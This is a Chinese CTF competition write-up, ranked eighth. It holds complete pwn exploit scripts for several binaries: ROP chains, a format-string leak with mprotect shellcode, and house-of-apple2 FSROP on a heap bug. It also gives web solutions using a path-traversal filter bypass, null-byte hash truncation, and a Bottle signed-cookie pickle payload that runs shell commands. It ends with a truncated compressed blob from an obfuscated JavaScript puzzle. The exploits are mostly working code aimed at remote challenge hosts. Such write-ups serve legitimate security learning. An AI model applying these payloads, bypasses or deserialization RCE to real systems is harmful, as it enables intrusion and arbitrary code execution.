最终排名第8

PWN

明日方舟寻访模拟器

一个很水的栈题,题目中存在system函数,但缺少sh字符串作参数。可以打栈迁移,但我选择预期解法(应该是),控制抽卡次数这个全局变量,凑成“sh”字符串,作为system的参数

#!/usr/bin/env python3
# Date: 2025-04-05 11:59:59
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi

# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = './arknights'
context.log_level = 'debug'
context.timeout = 5

# gift.io = process('./arknights')
gift.io = remote('39.106.71.197',30761)
gift.elf = ELF('./arknights')
# gift.libc = ELF('')

io: tube = gift.io
elf: ELF = gift.elf
# libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
#     try:
#         new_func()
#     except (EOFError):
#         gift.io = copy_current_io()

def debug(gdbscript="", stop=False):
    if isinstance(io, process):
        gdb.attach(io, gdbscript=gdbscript)
        if stop:
            pause()

sl("")
sla("[4]结束抽卡","3")
sla("请输入寻访次数:","10000")
sl("")

sla("[4]结束抽卡","3")
sla("请输入寻访次数:","10000")
sl("")

sla("[4]结束抽卡","3")
sla("请输入寻访次数:","6739")
sl("")

sla("[4]结束抽卡","4")
sla("[2]退出","1")

call_system=0x4018FC
sum_times=0x405BCC
pop_rdi=0x4018e5
debug()
sla("你的名字:",b"a"*0x48+p64(pop_rdi)+p64(sum_times)+p64(call_system))
ia()

web苦手

本题有两个漏洞,第一个漏洞为对密码做哈希时没有考虑到哈希中存在00的可能,造成了00截断

第二个漏洞为生成文件路径时没有考虑到snprintf截断的性质,可能会被填充长度,截断掉.dat后缀,造成任意文件读取

首先寻找合适的密码注册,经过爆破与筛选后,找到一组可以在开头00截断的长密码str(181).ljust(64,"a")

os.environ['QUERY_STRING'] ="passwd_re="+str(181).ljust(64,"a")
os.system("./main")
181
Hash: b'\x00)dY\xd5biD\x87\xf27\xfc\x1b\x8d\xf3 \xde\x97$\xf3\x14e&\xc3\xe2Ph\t\x87N\xc9\x1c'
str(181).ljust(64,"a")

由于登录没法看到hash结果,采用爆破,找到一个可以在开头截断的短密码61,读取到了fake flag

for i in range(0x100):
    response = requests.get('http://39.106.69.240:30773?'+"passwd_lo="+str(i)+"&"+"filename=flag")
    if "flag" in response.text:
        print(i)
        print(response.text) 
        pause()

最后使用填充文件名,利用snprintf截断flag后缀,读取到flag

response = requests.get('http://39.106.71.197:30770?'+"passwd_lo=61&filename=../../..//flag")
print(response.text) 

EZ3.0

这是一道mips pwn ,存在栈溢出,sh字符串,system,很入门,而且网上有偏移量都没变的exp

https://xz.aliyun.com/news/15999

#!/usr/bin/env python3
# Date: 2025-04-06 10:04:19
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi

# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = './EZ3.0'
context.log_level = 'debug'
context.timeout = 5

# gift.io = process('./EZ3.0')
gift.io = remote('47.94.172.18', 38998)
gift.elf = ELF('./EZ3.0')

io: tube = gift.io
elf: ELF = gift.elf

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
#     try:
#         new_func()
#     except (EOFError):
#         gift.io = copy_current_io()

def debug(gdbscript="", stop=False):
    if isinstance(io, process):
        gdb.attach(io, gdbscript=gdbscript)
        if stop:
            pause()

'''
0x00400a20 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
'''

payload = b'a' * 36
payload += p32(0x00400a20)
payload += b'bbbb'
payload += p32(0x00400B70)
payload += p32(0x00411010)
sla(">", payload)

ia()

bot

本题采用了protobuf加密传输,逆向其结构

syntax = "proto2";

message cmdmsg {
required int32 id=1;
required string sender=2;
required uint32 len=3;
required bytes content=4;
required int32 actionid=5;
}

逆向完以后基本就没事了,虽然这是一道高版本的堆题,且没有菜单,但一开始蒙了一会以后我才发现这是个送分题,它可以用0级栈溢出掉1级栈的指针,造成任意地址写

libc版本为2.35,此版本libc没有开启静态编译,可以打strlen got表(puts_hook)

将其修改为system,这样所有的输出字符串都会进入system函数

#!/usr/bin/env python3
# Date: 2025-04-04 10:02:50
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi

# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = './bot'
context.log_level = 'debug'
context.timeout = 5

# gift.io = process('./bot')
gift.io = remote('47.94.172.18', 20571)
gift.elf = ELF('./bot')
gift.libc = ELF('./libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def debug(gdbscript="", stop=False):
    if isinstance(io, process):
        gdb.attach(io, gdbscript=gdbscript)
        if stop:
            pause()

import cmdmsg_pb2
 

def show_content(content,sender_len=6):
    msg = cmdmsg_pb2.cmdmsg()
    msg.actionid=0
    msg.id=0
    msg.sender="admin"+"\0"+"a"*(sender_len-6)
    msg.content=content
    msg.len=0x100
    s(msg.SerializeToString())

 
 
def save_msg(id,lenth,content):
    msg = cmdmsg_pb2.cmdmsg()
    msg.actionid=1
    msg.id=id
    msg.sender="admin"
    msg.content=content
    msg.len=lenth
    sa("TESTTESTTEST!",msg.SerializeToString())
 
def look_msg(id):
    msg = cmdmsg_pb2.cmdmsg()
    msg.actionid=2
    msg.id=id
    msg.sender="admin"
    msg.content=b"123"
    msg.len=0x100
    sa("TESTTESTTEST!",msg.SerializeToString())

def leave():
    msg = cmdmsg_pb2.cmdmsg()
    msg.actionid=3
    msg.id=0
    msg.sender="admin"
    msg.content=b"123"
    msg.len=0x100
    sa("TESTTESTTEST!",msg.SerializeToString())

#利用proto块泄露elf基地址,推算影子栈的返回地址,便于用0修改1后的复原
save_msg(1,0x20,b"a"*0x1f+b"^")
look_msg(1)
ru("^")
elf_base=u64_ex(r(6))-0x5618d0beba80+0x5618d0bdf000
log2_ex_highlight(hex(elf_base))
bss_stack=elf_base+0xD080

payload=flat(
0              , 0x21,
elf_base+0x88A3, elf_base+0xD040
)
save_msg(0,0x30,b"a"*0x10+payload+b"a"*0x10)
look_msg(1)

libc_base=recv_libc_addr(io)+0x7f86e70c3000-0x7f86e72de780
log2_ex_highlight(hex(libc_base))

payload=flat(
0              , 0x21,
elf_base+0x88A3, libc_base+0x21A098
)
save_msg(0,0x30,b"a"*0x10+payload)

list = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]

save_msg(1,0x8,p64(libc_base+libc.sym['system']))
debug()
show_content(b"/bin/sh")

ia()

girlfriend

本题存在fmt漏洞和栈溢出,存在沙箱禁止execve

使用fmt泄露libc,elf,stack

随后leave ret栈迁移到bss段的rop链上,使用mprotect设置bss段为读写执行,随后执行shellcode

#!/usr/bin/env python3
# Date: 2025-04-05 12:32:20
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi

# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = './girlfriend'
context.log_level = 'debug'
context.timeout = 5

gift.io = process('./girlfriend')
gift.io = remote('47.94.15.198', 20531)
gift.elf = ELF('./girlfriend')
gift.libc = ELF('libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
#     try:
#         new_func()
#     except (EOFError):
#         gift.io = copy_current_io()

def debug(gdbscript="", stop=False):
    if isinstance(io, process):
        gdb.attach(io, gdbscript=gdbscript)
        if stop:
            pause()

def cmd(i, prompt="Your Choice:"):
    sla(prompt, i)

def overflow(content):
    cmd('1')
    sla(" her?",content)
    #......

def set_bss_fmt(content):
    cmd('3')
    sla("name first",content)
    #......

set_bss_fmt("%3$p^%7$p^%15$p^")

ru("your name:\n")
libc_base=int(ru("^")[:-1],16)+0x7f2d88129000-0x7f2d8823d887
elf_base=int(ru("^")[:-1],16)+0x5592e044b000-0x5592e044c8d9
canary=int(ru("^")[:-1],16)
log2_ex_highlight(hex(libc_base))
log2_ex_highlight(hex(elf_base))
log2_ex_highlight(hex(canary))

mprotect = libc_base+libc.sym['mprotect'] 
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f2e7
leave_ret=0x1676+elf_base

shellcode='''
    mov r15,0x67616c662f
    push r15
    push 257
    pop rax
    mov rsi, rsp
    mov rdx,4
    mov rdi,0
    syscall
    /* call sendfile(1, 'rax', 0, 0x100) */
    mov r10d, 0x100
    mov rsi, rax
    push 40 
    pop rax
    push 1
    pop rdi
    cdq 
    syscall

'''
payload = flat(
    pop_rdi,elf_base+0x4000,#0x10
    pop_rsi,0x1000,#0x20
    pop_rdx_r12,7,0,#0x38
    mprotect,#0x40
    elf_base+0x4060+0x48,
    asm(shellcode)
)
set_bss_fmt(payload)
# debug('''
#       b *$rebase(0x40a8)
#       c
#       ''')

overflow(b"a"*0x38+p64(canary)+p64(elf_base+0x4058)+p64(leave_ret))

ia()

Ret2libc's Revenge

本题清除了部分gadget,又加入了一些,可以控制两个参数

泄露libc时遇到了困难,本题为输出全缓冲,缓冲区满时才刷新,所以需要不断的运行一条rop链,填满缓冲区,得到泄露以后构造rop跳到one_gadget

#!/usr/bin/env python3
# Date: 2025-04-04 10:02:50
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi

# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = './attachment'
context.log_level = 'debug'
# context.timeout = 5

# gift.io = process('./attachment')
gift.io = remote('47.94.204.178',28681)
# gift.io = remote('172.17.0.2', 9999)
gift.elf = ELF('./attachment')
gift.libc = ELF('./libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
#     try:
#         new_func()
#     except (EOFError):
#         gift.io = copy_current_io()

def debug(gdbscript="", stop=False):
    if isinstance(io, process):
        gdb.attach(io, gdbscript=gdbscript)
        if stop:
            pause()

'''
.text:0000000000401180                 mov     rdi, rsi
.text:0000000000401183                 retn

.text:00000000004010E3
.text:00000000004010E4 ; ---------------------------------------------------------------------------
.text:00000000004010E4                 and     rsi, 0
.text:00000000004010E8                 retn
.text:00000000004010E9 ; ---------------------------------------------------------------------------
.text:00000000004010E9                 nop
.text:00000000004010EA                 nop
.text:00000000004010EB                 add     rsi, [rbp+20h]
.text:00000000004010EF                 retn

'''

'''

'''
add_rsi_0=0x4010E4 
add_rsi_rbp_0x20=0x4010EB
mov_rdi_rsi=0x401180 
vuln_addr=0x4011FF
puts_plt=0x401074
puts_got=0x404018
pop_rbp=0x000000000040117d

# debug()

for i in range(0x100):
    sl(flat(
        b"a"*0x21c,p8(0x28),
        p64(add_rsi_0) + p64(add_rsi_rbp_0x20)+p64(mov_rdi_rsi),p64(puts_plt),
        p64(0x40127F),
        p64(puts_got)
    ))
    print(i)
    sleep(0.1)

libc_base=recv_libc_addr(io)-0x7f34bcd88e50+0x7f34bcd08000
log2_ex_highlight(hex(libc_base))

pop_r13=0x0000000000041c4a+libc_base
pop_r12=0x0000000000035731+libc_base
pop_rdi=0x2a3e5+libc_base
one=0xebce2+libc_base
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

# debug()
sl(flat(
    b"a"*0x21c,p8(0x28),
    pop_r12,0,
    pop_r13,0,
    p64(one)
))

ia()

奶龙回家

本题的难点在于两个,一个是破解随机数,一个是控制局部变量

随机数使用时间为种子生成,同时运行本地程序和远程,大概率得到同一个随机数,所以,我采取了patch的方式,在原elf的基础上修改出一个随机数生成器,每次程序开始运行,从此生成器中获取随机数

再通过程序一开始送的,带随机数的栈地址,泄露出真实栈地址

程序有任意地址读写,只需修改局部变量即可无限次数使用任意地址读写

利用n次任意地址写,向ret_addr 写入一条完整的rop链后,利用任意地址写,修改剩余次数,程序正常返回,进入ROP

#!/usr/bin/env python3
# Date: 2025-04-05 10:14:40
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi

# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = './nailong'
context.log_level = 'debug'
context.timeout = 5

# gift.io = process('./nailong')
gift.io = remote('47.94.204.178', 28707)
gift.elf = ELF('./nailong')
gift.libc = ELF('libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libc_base: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
#     try:
#         new_func()
#     except (EOFError):
#         gift.io = copy_current_io()

def debug(gdbscript="", stop=False):
    if isinstance(io, process):
        gdb.attach(io, gdbscript=gdbscript)
        if stop:
            pause()

p=process("./nailong.patched")
p.recvuntil("rbp + offset:")
offset=int(p.recvuntil("end")[:-3])
print(offset)
p.close()

ru("rbp + offset:")
rbp_addr=int(ru("end")[:-3])-offset

log2_ex_highlight(hex(rbp_addr))

stdout=0x404140
sla("xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma","-1")

#修改1上限
sla("chose 4 bin/sh","2")
sa("what you want do?",str(rbp_addr-0x804C))
sa("read you want\n",p32(0xffffff00))

#修改总上限
sla("chose 4 bin/sh","2")
sa("what you want do?",str(rbp_addr-0x8044))
sa("read you want\n",p32(0xffffff00))

#获取libc
sla("chose 4 bin/sh","1")
sla("what you want do?\n",str(0x404140))
libc_base=recv_libc_addr(io)-0x7f2b64dce780+0x7f2b64bb3000
log2_ex_highlight(hex(libc_base))
gets_addr=libc_base+libc.sym['gets']
puts_got=elf.got['puts']
log2_ex_highlight(hex(gets_addr))

open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f2e7

# payload+=

payload=b"flag\x00\x00\x00\x00"+flat(
pop_rdi,rbp_addr,
pop_rsi,4,
open_addr,

pop_rdi,3,
pop_rsi,rbp_addr-0x100,
pop_rdx_r12,0x30,0,
read_addr,

pop_rdi,1,
pop_rsi,rbp_addr-0x100,
pop_rdx_r12,0x30,0,
write_addr
)

def change_something(addr,content):
    sla("chose 4 bin/sh","2")
    sla("what you want do?",str(addr))
    sa("read you want\n",content)

for i in range(len(payload)//4):
    change_something(rbp_addr+i*4,payload[i*4:i*4+4])

# debug()
#修改剩余次数

sla("chose 4 bin/sh","2")
sa("what you want do?",str(rbp_addr-0x803C))
sa("read you want\n",p32(0))

ia()

heap2

这是一道2.39的堆题,存在UAF漏洞,但没有edit函数,且堆风水由于沙箱很混乱

观察堆风水,发现0x300以上的堆块是纯净的,于是在此基础上进行large bin attack

首先利用堆风水和指针残留,泄露出large bin中的libc和heap地址

随后在原本的堆风水基础上,利用残留指针free fake chunk,造成堆重叠,利用堆重叠,申请出一个块,篡改largrbin的nextsize bk元素,

再构造一个IO结构体,走house of apple2 + svcudp_reply + swapcontext +mprotect +orw,将其链入largebin后IO_list_all被修改到伪造IO块,完成large bin attack,最后利用exit触发FSROP

#!/usr/bin/env python3
# Date: 2025-04-05 19:10:32
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi

# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = './heap2'
context.log_level = 'debug'
gift.io = process('./heap2')
# gift.io = remote('47.93.96.189', 36951)
gift.elf = ELF('./heap2')
gift.libc = ELF('./libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
#     try:
#         new_func()
#     except (EOFError):
#         gift.io = copy_current_io()

def debug(gdbscript="", stop=False):
    if isinstance(io, process):
        gdb.attach(io, gdbscript=gdbscript)
        if stop:
            pause()

def cmd(i, prompt="> "):
    sla(prompt, i)

def add(size,content="123"):
    cmd('1')
    sla("size: ",str(size))
    sa("data:",content)

def show(idx):
    cmd('2')
    sla("idx: ",str(idx))
    #......

def dele(idx):
    cmd('3')
    sla("idx: ",str(idx))

# debug('''
#       b * $rebase(0x14C5)
#       c
#       ''')

# debug('''
# b free
# c
# ''')

###################################################
#使用large bin泄露libc地址和堆地址,之后全部合并入top

############################
#泄露libc
add(0x500)#0
add(0x500)#1
dele(0)#放入unsorted
show(0)#泄露libc
libc_base=u64_ex(rl()[:-1])-0x7f3a1e46db20+0x7f3a1e26a000
libc.address=libc_base
log2_ex_highlight(hex(libc_base))
dele(1)#0,1放入unsorted

############################
#泄露heap
add(0xa10)#2,一次性申请回0,1
add(0x500)#3,分割

dele(2)#放入unsorted

add(0x4f0)#4,取出一部分内存,使1的残留指针恰好指向剩余块的nextsize
add(0x600,flat(
    0,0x601
))#5,申请大于剩余块的size,从unsorted进入large 

# debug('''
#     b * $rebase(0x15F3)
#     c
#       ''')

show(1)# 用残留指针泄露heap基地址
heap_base=u64_ex(rl()[:-1])-0x563f43915110+0x563f43900000
log2_ex_highlight(hex(heap_base))

#####################################
add(0x510,flat(
    0,0xa31
))#6,填入fake

_IO_wfile_jumps = libc.sym._IO_wfile_jumps
 
_lock = libc_base+0x205700
fake_IO_FILE = heap_base + 0x16160
 
f1 = IO_FILE_plus_struct()
f1._lock = _lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps
f1._IO_save_base=fake_IO_FILE+0x280

svcudp_reply=libc_base+0x017923D
swapcontext=libc_base+0x005814D
pop_rdi=0x000000000010f75b+libc_base
pop_rsi=0x0000000000110a4d+libc_base
ret=0x582BB+libc_base

shellcode='''
    xor rax, rax   #xor rax,rax是对rax的清零运算操作
    xor rdi, rdi   #清空rdi寄存器的值
    xor rsi, rsi   #清空rsi寄存器的值
    xor rdx, rdx
    mov rax, 2      #open调用号为2
    mov rdi, 0x67616c66   #为galf/.为./flag的相反   0x67616c662f2e为/flag的ASCII码的十六进制
    push rdi
    mov rdi, rsp
    syscall   #系统调用前,linux在eax寄存器里写入子功能号,断止处理程序根据eax寄存器的值来判断用户进程申请哪类系统调用。

    mov rdx, 0x100   #sys_read(3,file,0x100)
    mov rsi, rdi
    mov rdi, rax
    mov rax, 0      #read调用号为0,0为文件描述符,即外部输入,例如键盘
    syscall
    
    mov rdi, 1      #sys_write(1,file,0x30)
    mov rax, 1      #write调用号为1,1为文件描述符,指的是屏幕
    syscall

'''

data = flat(
{
    0x20:bytes(f1)[0x30:],
    
    0xe0: {# _wide_data->_wide_vtable
        0x18: 0, # f->_wide_data->_IO_write_base
        0x30: 0, # f->_wide_data->_IO_buf_base
        0xe0: fake_IO_FILE+0x200
    },
    0x200: {
        0:asm(shellcode),
        0x68: svcudp_reply
        },

    0x280:{
        0x18: fake_IO_FILE+0x280,
        0x28: swapcontext,
        0x88: 7,
        0xe0:fake_IO_FILE,
        0xa0:fake_IO_FILE+0x380,
        0xa8:ret
    },
    0x380:flat(
        pop_rdi,(fake_IO_FILE//0x1000)*0x1000,
        pop_rsi,0x2000,
        libc.sym["mprotect"],
        fake_IO_FILE+0x200
    ),
    
}
)

add(0x4c0,data)#7,填入IO

dele(1)#将fake放入unsorted
debug()
add(0x530)#8,切割unsorted
add(0x600)#9,放入large

target=libc.sym['_IO_list_all']-0x20

dele(3)
add(0x500,flat(
    "a"*0x20,
    0,0x4f1,
    libc_base+0x203f40,libc_base+0x203f40,
    heap_base+0x15660,target
))#10,取出3,篡改large

dele(7)
add(0x600)
# debug(f"b * {fake_IO_FILE+0x200}")

sla("> ","4")

log2_ex_highlight(hex(libc_base))
log2_ex_highlight(hex(heap_base))
ia()

WEB

Sign

原题出自:https://www.norelect.ch/writeups/sekaictf2022/bottle_poem/

但需要得到签名的secret_key

在代码中有一处任意文件读

@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

简单绕过即可,可以用.././.././绕过../../返回上级目录,直接读secret.txt得到secret

exp都是一样的,直接打就好,但需要修改一下摘要算法为sha256

import os, hmac, hashlib, base64, pickle, requests

def tob(s, enc='utf8'):
    if isinstance(s, str):
        return s.encode(enc)
    return b'' if s is None else bytes(s)

def touni(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return str("" if s is None else s)

def create_cookie(name, value, secret):
    d = pickle.dumps([name, value], -1)
    encoded = base64.b64encode(d)
    sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=hashlib.sha256).digest())
    value = touni(tob('!') + sig + tob('?') + encoded)
    return value

class PickleRCE(object):
    def __reduce__(self):
        return (exec,("""
from bottle import response
import subprocess,base64
flag = subprocess.check_output('cat /flag_dda2d465-af33-4c56-8cc9-fd4306867b70', shell=True)
response.set_header('X-Flag',base64.b64encode(flag))
""",))

session = {"name": PickleRCE()}
cookie = create_cookie("name", session, "Hell0_H@cker_Y0u_A3r_Sm@r7")
# print(cookie)
r = requests.get("http://eci-2zehrf7bs4kd92263pzi.cloudeci1.ichunqiu.com:5000/secret", cookies={"name": cookie})
print(base64.b64decode(r.headers["x-flag"]).decode("ascii"))

# cookie = "!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"

Puzzle

前端一眼没用

查看源代码审计发现主要逻辑在puzzle.js

是经过混淆的js代码,其中第一处function经chatgpt分析是经过zlib压缩以及base64编码后混淆数据

恢复一下后可以得到不是那么混淆的代码,稍微具有可读性,解压缩算法如下:

code = "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